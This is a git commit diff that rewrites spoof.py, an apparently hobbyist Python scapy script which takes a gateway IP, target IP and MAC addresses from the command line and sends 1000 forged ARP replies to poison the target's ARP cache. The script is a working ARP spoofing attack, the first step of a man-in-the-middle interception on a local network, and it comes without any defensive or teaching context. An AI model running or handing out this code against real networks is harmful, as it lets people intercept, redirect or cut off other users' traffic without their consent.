Add files via upload

This commit is contained in:
xdavidhu 2016-12-27 23:45:19 +01:00 committed by GitHub
parent 2c6f57b030
commit c3e1bb2d2a
1 changed files with 40 additions and 25 deletions

View File

@ -1,31 +1,46 @@
import scapy
import sys
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
from scapy.all import *
try:
my_mac = sys.argv[1]
interface = sys.argv[2]
my_ip = sys.argv[3]
target_ip = sys.argv[4]
target_mac = sys.argv[5]
except:
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
exit()
"""
# GET MAC ADDRESS
def get_mac_address():
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for mac in my_macs:
if(mac != "00:00:00:00:00:00"):
return mac
my_mac = get_mac_address()
if not my_mac:
print "Cant get local mac address, quitting"
sys.exit(1)
"""
my_mac = # MY MAC
ether = Ether()
ether.src = my_mac # Default: network card mac
# REQUEST Host_Target & Host_Impersonation
arp = ARP()
arp.psrc = my_ip
arp.hwsrc = my_mac
"""
target = raw_input("Enter host target: ")
impersonation = raw_input("Enter host to impersonate: ")
"""
target = # TARGET MAC
impersonation = # IMPERSONATION MAC
arp = arp
arp.pdst = target_ip # Default: 0.0.0.0
arp.hwdst = target_mac # Default: 00:00:00:00:00:00
# CRAFT & SEND PACKET
ether = ether
ether.src = my_mac
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
packet = 'Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", hwsrc='+my_mac+', psrc='+impersonation+', pdst='+target+')'
sendp(packet)
def craftRequestPkt():
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
def craftReplyPkt():
arp.op = 2
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
if __name__ == '__main__':
craftReplyPkt()